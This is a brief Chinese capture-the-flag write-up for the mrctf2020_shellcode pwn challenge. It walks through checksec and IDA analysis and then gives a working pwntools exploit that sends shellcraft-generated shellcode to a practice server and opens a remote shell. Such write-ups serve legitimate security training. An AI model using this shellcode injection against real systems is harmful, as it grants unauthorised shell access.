mrctf2020_shellcode
步骤:
- 例行检查,64位程序,开启了relro和pie,没有nx,肯定是用shellcode最方便了
- 本地试运行一下,看看大概的情况
- 64位ida载入,根据运行时看到的字符串,迅速定位到关键程序,但是没法f5成伪代码,直接看汇编
栈大小是0x410,读入了0x400,无法造成溢出覆盖返回地址
不过好像这边分析了用处也不大,直接利用pwntools生成shellcode发送即可
shellcode=asm(shellcraft.sh())
exp
from pwn import *
p=remote("node3.buuoj.cn",29643)
#context.arch='amd64'
context(arch = 'amd64', os = 'linux', log_level = 'debug')
elf=ELF('./mrctf2020_shellcode')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()